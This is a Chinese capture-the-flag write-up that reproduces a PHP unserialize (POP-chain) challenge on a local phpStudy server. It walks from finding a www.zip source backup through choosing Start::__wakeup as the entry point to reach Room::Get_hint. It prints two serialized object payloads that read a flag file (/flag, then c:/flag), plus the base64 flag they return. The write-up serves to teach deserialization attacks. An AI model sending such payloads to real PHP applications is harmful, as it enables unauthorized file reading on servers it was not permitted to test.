将比赛文件复制到phpStudy的\phpStudy\PHPTutorial\WWW 网站运行目录下；
比赛文件index.php，源码就在此文件中，www.zip 文件为index.php的打包，其他文件夹自建，主要为了还原最真实的比赛环境。
打开题目链接，发现就一句话，如下：
I think you need /etc/hint . Before this you need to see the source code
看看页面源代码，看了看请求和响应，发现一个小细节：
服务器的环境出来了 Apache/2.4.18(Ubuntu) ==>此为当时比赛中真实截图
基于此情况，对该链接进行“目录扫描”操作
一个www.zip 的备份文件(对照本地环境复现看)，下载下来后里面有一个index.php的源码文件，源码如下：
从代码中分析可以看出，给“hello”传参，然后进行序列化攻击。
现在问题来了，代码中一共有3个类，我们需要从哪一个类开始下手呢？
通过对魔术方法和序列化的的学习，我们只能从Start这个类开始下手，当对这个该类进行反序列化时，会自动执行wakeup()方法，而这3个类中只有Start类存在这个方法。
再继续观察发现，我们最终需要达到的目的地是Room类的Get_hint()方法。
构造payload：
在我们本地搭建的环境中运行payload.php
序列化得到payload(false)：
O:5:"Start":2:{s:4:"name";O:4:"Info":3:{s:17:"Infophonenumber";i:123123;s:7:"promise";s:15:"I will not !!!!";s:4:"file";a:1:{s:8:"filename";O:4:"Room":3:{s:8:"filename";s:5:"/flag";s:10:"sth_to_set";N;s:1:"a";O:4:"Room":3:{s:8:"filename";s:5:"/flag";s:10:"sth_to_set";N;s:1:"a";s:0:"";}}}}s:4:"flag";s:33:"syst3m("cat 127.0.0.1/etc/hint");";}
由于我们本地win10环境，flag文件放在C盘根目录下，名为flag。
故再次序列化payload(true)变更为：
O:5:"Start":2:{s:4:"name";O:4:"Info":3:{s:17:"%00Info%00phonenumber";i:123123;s:7:"promise";s:15:"I will not !!!!";s:4:"file";a:1:{s:8:"filename";O:4:"Room":3:{s:8:"filename";s:7:"c:/flag";s:10:"sth_to_set";N;s:1:"a";O:4:"Room":3:{s:8:"filename";s:7:"c:/flag";s:10:"sth_to_set";N;s:1:"a";s:0:"";}}}}s:4:"flag";s:33:"syst3m("cat 127.0.0.1/etc/hint");";}
最后，利用了魔术方法的特性成功进行了序列化攻击，实现了在一个类跳转到另一个类并执行方法！
ZmxhZ3s0NTZiNzg5LWE0YWUtMTg1My1hMWIyLXExdzJlM3I0dDV9 注意：hi 是之前Start类中输出的内容！
得到base64编码后的字符串进行解码：
最终得到了flag并与flag文件中的内容进行比对。
以上就是本文的全部内容，希望对大家的学习有所帮助，参考原文地址：https://www.cnblogs.com/seizer/p/14883148.html